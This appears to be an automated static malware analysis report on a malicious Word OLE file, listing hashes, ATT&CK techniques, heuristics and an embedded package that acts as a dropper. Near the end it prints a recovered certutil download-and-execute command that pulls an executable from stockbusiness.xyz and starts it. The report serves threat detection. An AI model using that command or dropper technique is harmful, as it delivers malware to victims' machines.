Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 548e90796bfb6d2b…

MALICIOUS

Office (OLE)

32.0 KB Created: 2018-08-31 13:10:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: b32a0952930810a67783a44098a292d5 SHA-1: 60e9f444dbcf8ca3358a5a8a12fed63109043f45 SHA-256: 548e90796bfb6d2bb58a66addd44918d349e4840ba91d7ac1e29aa9af61730c6
430 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File T1071.001 Web Protocols

The sample is an OLE document containing an embedded package (ole10native_00.bin) that is flagged as a script dropper. This package is designed to download and execute payloads from the URLs http://stockbusiness.xyz/lc.exe and http://stockbusiness.xyz/pwd.exe. The document body instructs the user to enable editing and double-click the embedded package, indicating a social engineering lure to initiate the malicious process. Heuristics also indicate suspicious use of cmd.exe, certutil, and WScript.Shell, further supporting the malicious intent.

Heuristics 11

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • Ole10Native package payload is a download-and-execute script critical OFFICE_PACKAGE_SCRIPT_DROPPER
    The OLE Package's embedded payload contains a script that hosts a shell (PowerShell/WScript/mshta), fetches a remote resource, and executes it — a download-and-run dropper. Embedding such a script inside an Office document via the Object Packager is a direct user-execution delivery technique (MITRE T1204.002), not a benign attachment.
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to certutil (download/decode) high SC_STR_CERTUTIL
    Reference to certutil (download/decode)
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Visual download / call-to-action button lure low SE_DOWNLOAD_BUTTON
    Document contains a call-to-action phrase ('Click here to download', 'Download Now', etc.) — low-signal unless other findings point to a malicious workflow
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://stockbusiness.xyz/lc.exe Embedded OLE package script
    • http://stockbusiness.xyz/pwd.exeEmbedded OLE package script
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1597434283/Ole10Native 1448 bytes
SHA-256: 76c3cf353505ed0ae9a419b9bb35275900e0b079d58c11c55f803d69102bbaca
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://stockbusiness.xyz/lc.exe Static shellcode analysis recovered command string(s): WScript.Shell"), CMD = "cmd.exe /c ""certutil -urlcache -split -f http://stockbusiness.xyz/lc.exe C:\Users\Public\Libraries\windows.exe &start C:\Users\Public\Libraries\windows.exe, CMD2 = "cmd.e

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